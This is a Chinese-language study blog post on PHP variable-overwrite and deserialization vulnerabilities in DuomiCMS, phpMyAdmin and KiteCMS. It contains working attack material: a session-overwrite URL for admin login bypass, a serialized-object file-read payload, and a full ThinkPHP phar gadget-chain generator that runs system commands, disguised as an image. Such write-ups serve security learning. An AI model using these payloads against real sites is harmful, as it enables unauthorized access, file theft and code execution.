php变量覆盖&&反序列化

变量覆盖&&反序列化

一.变量覆盖

常用的函数:

  • extract()

parse_str()

importrequestvariables()

  • $$

duomi分析

搜索$$,非后台文件先看主要看配置型文件

将全局变量接受的键值对中值覆盖与键同名的变量

1
2
?name=xiaodi    ----->    $_k=name    $_v=xiaodi
${$_k}=$name -----> $name=_RunMagicQuotes(xiaodi)

利用

正常逻辑:

漏洞利用:

1.找包含变量覆盖所在的common.php文件,后台登陆(session覆盖)

2.要找到有session_start()的文件才能覆盖session

exchange.php可以去完成全局变量session覆盖

  • session_start()是PHP中的一个函数,用于启动一个会话。当一个用户访问网站时,会话(Session)是用来存储用户特定数据的一种机制,这些数据可以被多个页面共享。通过启动会话,PHP能够识别用户,并在用户的多次请求之间保存数据。

3.动态调试或者直接看数据库获取保持当前登录的session值

_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

访问这个页面覆盖session值

1
http://duomicms:8234/upload/member/exchange.php?_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

然后就可以直接进后台了

二.反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__wakeup() //使用unserialize时触发

__sleep() //使用serialize时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发

2.1原生反序列化

phpmyadmin分析

搜索unserialize()

找代码中的__wakeup,看看有没有可利用的漏洞

调用的load方法里面,有读取文件的代码

参数source可控,source是个属性

利用

准备漏洞利用,序列化PMA_Config类的对象,该对象的属性source已经被赋为要读取的文件路径

O:10:”PMA_Config”:1:{s:6:”source”;s:10:”d:/aaa.txt”;}

接下来把这个要被反序列化的传进去

1
2
http://phpmyadmin2:8745/scripts/setup.php
post提交:configuration=O:10:"PMA_Config":1:{s:6:"source";s:10:"d:/aaa.txt";}&action=1

序列化之后的结果,找到利用点传进去

1
O:10:"PMA_Config":1:{s:6:"source";s:10:"d:/aaa.txt";}

2.2框架反序列化

phar触发反序列化

Phar之所以能触发反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,文件系统函数在通过phar伪协议解析phar文件时会调用php_var_unserialize反序列化meta-data储存的信息。

并且:PHP在识别Phar文件时,是通过其标识__HALT_COMPILER();?>,并且对标识前面的内容或后缀名没有严格要求的。
因此可以通过添加任意的文件头并修改Phar文件后缀名的方式,将Phar文件伪装成其他格式的文件,从而绕过上传点限制。

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

kitecms分析

采用的thinkphp5.1.37框架

使用phpggc生成反序列化链

注入点

(上面学的是unserialize反序列化接收的参数)

这里需要用到phar的反序列化

思路是:先输出thinkPHP利用链的Phar文件,在源码中找到特殊文件操作函数,触发该函数

1.生成ThinkPHP链的phar文件,配置文件中修改:phar.readonly = Off

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("smi1e" => "system");
public function get()
{
$this->data = array("smi1e" => "calc");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
$phar = new Phar('kitecms.phar');
$phar->stopBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt','test');
$phar->setMetadata($a);
$phar->stopBuffering();
}
?>

2 .以png的形式成功上传上面phar文件

3 .is_dir函数在方法scanFilesForTree中

4 .直接访问url,触发scanFilesForTree方法

/admin/admin/scanFiles?dir=phar://./upload/20231030/306437f8a938426c66e97468b219ff61.png

phar反序列化使用条件

1.phar文件要能够上传到服务器

2 .有特殊文件操作函数如:file_exists() , fopen(),file_get_contents(),file() 等魔术方法作为跳板,该函数参数可控,没有过滤 : , /,phar等特殊字符

总结:

duomi:变量覆盖达到直接访问后台的目的。它有条件覆盖session(session_start()+变量覆盖)且保持会话状态的逻辑是检验session

phpmyadmin: 反序列化unserialize()接收的参数可控可以直接传入,注入点为表单中的参数configuration

kitecms: phar伪协议触发反序列化。文件上传phar文件,触发特殊文件操作函数+ phar协议读取上传的文件


php变量覆盖&&反序列化
https://bxhhf.github.io/2025/06/12/变量覆盖_反序列化/
作者
bxhhf
发布于
2025年6月12日
许可协议